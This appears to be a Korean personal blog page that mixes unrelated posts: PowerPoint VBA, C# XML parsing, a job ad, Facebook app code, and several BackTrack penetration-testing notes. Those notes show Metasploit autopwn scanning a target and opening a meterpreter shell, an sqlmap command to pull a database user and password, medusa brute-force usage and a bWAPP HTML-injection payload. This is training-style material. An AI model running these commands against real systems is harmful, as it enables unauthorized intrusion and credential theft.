메뉴 건너뛰기

imp

HelloWorld 및 인터페이스

박영식2007.06.12 21:41조회 수 1999댓글 0

  • 2
    • 글자 크기
박영식 (비회원)
  • 2
    • 글자 크기

댓글 달기

[backtrack] autopwn 을 이용한 자동 공격

[원문보기]

backtrack 4를 설치하거나, image를 받아서 실행시킨다.


backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,


# /etc/init.d/networking start


자동으로 실행시키려면, .bash_profile에 등록 한다.


# vi /root/.bash_profile


/etc/init.d/networking start



이젠 autopwn을 사용할 차례다.


# msfconsole

msf > db_status


[*] postgresql selected, no connection


라고 나온다.

그러면, 사용할 수 있는 db를 알아보기 위해


msf > db_driver


[*]    Active Driver: postgresql

[*]        Available: postgresql, mysql, sqlite3



mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.


msf > db_driver sqlite3

[*] Using database driver sqlite3

msf > db_create client

[-]

[-] Warning: The db_create command is deprecated, use db_connect instead.

[-]          The database and schema will be created automatically by

[-]          db_connect. If db_connect fails to create the database, create

[-]          it manually with your DBMS's administration tools.

[-]

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: client

msf > db_status

[*] sqlite3 connected to client



위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.


msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx


Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT

Nmap scan report for xxx.xxx.xxx.xxx

Host is up (0.015s latency).

Not shown: 990 closed ports

PORT     STATE    SERVICE      VERSION

22/tcp   open     ssh          OpenSSH 4.3 (protocol 2.0)

80/tcp   open     http         Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)

111/tcp  open     rpcbind      2 (rpc #100000)

135/tcp  filtered msrpc

139/tcp  filtered netbios-ssn

445/tcp  filtered microsoft-ds

1723/tcp filtered pptp

2869/tcp filtered icslap

3306/tcp open     mysql        MySQL (unauthorized)

4444/tcp filtered krb524

Device type: general purpose

Running: Apple Mac OS X 10.5.X

OS details: Apple Mac OS X 10.5.5 (Leopard)


OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

msf > db_autopwn -p -e -t

[*] Analysis completed in 9 seconds (0 vulns / 0 refs)

[*]

[*] ================================================================================

[*]                             Matching Exploit Modules

[*] ================================================================================

[*]   xxx.xxx.xxx.xxx:111  exploit/netware/sunrpc/pkernel_callit  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/oscommerce_filemanager  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/lotus/domino_http_accept_language  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/iis/ms02_018_htr  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/base_qry_common  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/http/trendmicro_officescan  (port match)




음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.



http://www.youtube.com/watch?v=VXmE0QycUd8


나머지는 동영상을 참조 한다.

성공하면 아래와 같이 콘솔로 접근할 수 있다.


sessions -l

session -i 1

meterpreter > execute  -f cmd.exe -H -i 

c:WINDOWSsystem32>

[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트

[원문보기]
반드시 해야할 것.
마스터 보기에서 삽입->머리글/바닥글
바닥글의 체크박스를 체크하고, 모두적용을 클릭함.
아래 그림과 같이, "바닥글"영역이 존재해야 error가 나지 않음.(for문의 시작을 2로 했기 때문에 첫 슬라이드는 바닥글이 존재하지 않아도 됨)^^V



1. Alt+F11(Visual Basic Editor)
2. 삽입 -> 모듈
3. 모듈창에 아래와 같이 입력
4. 실행(F5)하면 바닥글 위치에 표시됩니다.

Sub dhUserPage()
    Dim i As Integer, j As Integer
   
    With ActivePresentation
        If .Slides.Count > 1 Then
            For i = 2 To .Slides.Count
                .Slides(i).HeadersFooters.Footer.Text = i & "/" & .Slides.Count
            Next i
        End If
    End With
End Sub

C#으로 xml 파싱하기

[원문보기]

위와 같이 Windows 응용 프로그램으로 프로젝트를 생성한 뒤, 클래스뷰를 이용해 Form1.cs의 코드를 작성하면, 된다. 아래의 bold체는 차일드노드의 개수에 따라 전역변수 i를 증가시켜 파싱하여 label에 기록하는 부분이다. 



using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;


using System.Xml;


namespace xmlparser
{
    public partial class Form1 : Form
    {
            int i = 0;
        public Form1()
        {
            InitializeComponent();


            string filePath = @"booklist.xml";
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.Load(filePath);


            XmlElement eBooklist = xmlDocument.DocumentElement;


            XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;


            XmlNodeList nlchilds = eFirstBook.ChildNodes;


            label3.Text = "루트 엘리먼트 정보";
            label4.Text = eBooklist.Name;
        }


        private void button1_Click(object sender, EventArgs e)
        {
            string filePath = @"booklist.xml";
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.Load(filePath);


            XmlElement eBooklist = xmlDocument.DocumentElement;


            XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;


            XmlNodeList nlchilds = eFirstBook.ChildNodes;



            if (nlchilds.Count > i)
            {
                XmlElement eChild = (XmlElement)nlchilds[i];
                label3.Text = eChild.Name + "(" + i + ")";
                label4.Text = eChild.InnerText + "(" + nlchilds.Count + ")";


                i++;
            }
            else
            {
                label3.Text = "자료의 수는" + nlchilds.Count + "개 입니다.";
                label4.Text = "자료의 끝 입니다";
            }


        }
    }
}

[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득

[원문보기]

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1&param=2" -v 1 --current-user --password


를 입력해 error based 공격으로 id를 알아낸다.


파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.


id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.



(주) 드림투리얼리티 - 전자책 솔루션기업

[원문보기]



















업무내용 및 상세자격요건
㈜드림투리얼리티는 전자문서통합포맷(확장명, csd)의 국산보급으로 국내 소프트웨어발전 뿐만아니라 아도비사의 PDF에 대응하는 혁신의 소프트웨어이며, 이미 국내 금융권과 공공기관에서 인증한 우수기술입니다.

당사는 국내뿐만아니라 세계시장(일본,중국,미국등)에 제품공급이 진행중에 있으며, 유비쿼터스 환경하의 모바일(휴대폰, 전자사전, PSP, PMP, PDA등)에서도 전자문서 볼 수 있는 획기적인 기술입니다.

㈜드림투리얼리티와 미래를 함께 할 인재를 모십니다.
http://www.d2r.co.kr , http://www.csdcenter.com

------------------------------
CSD 기술 적용 사이트
파란 더진 - http://zine.paran.com
한컴 유비튜브 - http://www.ubitube.com
KT BooKT - http://www.bookt.co.kr
------------------------------


모집부문
- 웹개발자 (내근직)


업무내용
- CSD 관련 웹서비스 개발


자격요건
- 웹사이트 구축에 대한 이해와 경험이 있으신 분
- HTML,JavaScript와 JSP,PHP,ASP등 하나 이상의 웹 프로그래밍 언어가 사용 가능하신 분
- 하나 이상의 데이터베이스에 대한 경험과 SQL 사용이 가능하신 분
- CSD를 사용해보신분 우대

제출서류 및 전형방법
제출서류
- 이력서, 자기소개서 각 1부
- 이력서에 긴급연락처, 희망연봉 기재 필수


상세요강 전형절차
- 1차 : 서류전형
- 2차 : 면접전형
- 3차 : 임원면접 및 연봉협상
- 면접은 서류전형 합격자에 한해 개별통보

근무조건
- 주 5일 근무 / 오전 10시 ~ 7시


자격 조건
- 2년제 대학 졸업자 이상
- 전산 전공자
- 해외 여행에 결격사유 없는 사람


회사 위치
경기도 성남시 분당구 구미동 153 로드랜드EZ타워 811호
(분당서 오리역 7번출구로 나와서 약 70미터 거리에 위치)

[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기

[원문보기]
read_stream, publish_stream, user_birthday
에서 r은 뉴스 피드 읽기, p는 게시하기, u는 생일 가져오기 인데, 나머지가 더 필요하면 ref에서 찾아보기 바란다.
$user_profile 변수(배열)에 user_birthday가 포함되어 있으며, 나머지 필드는 var_dump, print_r 등으로 확인하변 된다.

허가하지 않으면, 페북 메인으로 가게 했고, 허가하면, 앱으로 가도록 했다.

F3.jpg

F4.jpg

if ($session==null) {
 $url = $facebook->getLoginUrl(array('scope' => 'read_stream,publish_stream,user_birthday','cancel_url'=>'http://www.facebook.com','next' => 'http://apps.facebook.com/앱네임스페이스/'));
 echo "<script> document.location.replace('$url'); </script>";
} else if($session=$facebook->getUser()){
if($_SERVER['QUERY_STRING']==""){//iframe으로 들어가지 않아 이런 허접한 방법을 썼다.
$birthday=$user_profile[birthday];//생일
$hometown=$user_profile[hometown];//고향
$sports=$user_profile[sports];//좋아하는 운동
$feeds   = $facebook->api('/me/feed?limit=2000&access_token='.$session["access_token"]); //뉴스 피드 가져오기
$data=$feeds[data];//데이터 변수에 넣어 출력 준비

//아래와 같은 반복문으로 댓글과 메시지를 출력할 수 있다.
for($i=0;$i<count($data);$i++){
$msg=$data[$i];
$comments=$data[$i][comments];
$count=count($comments[data]);

if($user==$msg[from][id]){
if($msg[message]!="")
$ret[]=$msg[message];
}
for($k=0;$k<$count;$k++){
$cd=$comments[data][$k];
if($user==$cd[from][id])
if($msg[message]!="")
$ret[]=$cd[message];
}
}
//원하면 아래와 같이 접근자의 사진을 출력할 수 있다.
echo '<img src="https://graph.facebook.com/'.$user.'/picture">';

// 아래와 같은 데이터 구조로 접근자 담벼락에 글을 쓸 수 있다.
$attachment = array('message' => '메시지',
                'name' => $title,
                'caption' => $desc,
                'link' => $link,
                'description' => $desc,
                'picture' => $imgurl,
                'actions' => array(array('name' => '앱이름',
                                  'link' => 'http://apps.facebook.com/앱네임스페이스'))
                );


    $result = $facebook->api('/me/feed/',
                                'post',
                                $attachment);
}else{//승인은 되었으나 iframe안에 있지 않을 때, 앱 메인으로 이동시킨다.
echo "<script> document.location.replace('http://apps.facebook.com/앱네임스페이스'); </script>";
}
}
F5.jpg

[backtrack] 무작위 공격 툴 medusa 사용법

[원문보기]
# medusa -M [PS] -h [IP] -u [ID] -p [PW]

[PS] : ssh, mysql, telnet ......
[IP] : ip address
[ID] : target id
[PW] password

여기서 -H, -U, -P로 하면, [] 에 파일 경로를 입력하여 대입할 수 있다.

시간이 오래걸리고, 부하가 예상되니, 주의해서 사용할 것.

dictionary 파일과 패스워드파일은 좋은게 없으니, 알아서 잘 구하길......

[bWAPP] HTML Injection - Reflected (URL)

[원문보기]

A1 - Injection

HTML Injection - Reflected (URL)


현재 url을 표시해주는 간단한 서버사이드 스크립트이다.


~.php?a={스크립트구문}


을 넣어주면 실행 가능하다.


A1XSS-URL.PNG


html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.


?<h1>test</h1>

이전 1 ... 4 5 6 7 8 9 다음
첨부 (1)
flex1.JPG
51.7KB / Download 42
flex2.JPG
74.0KB / Download 51
위로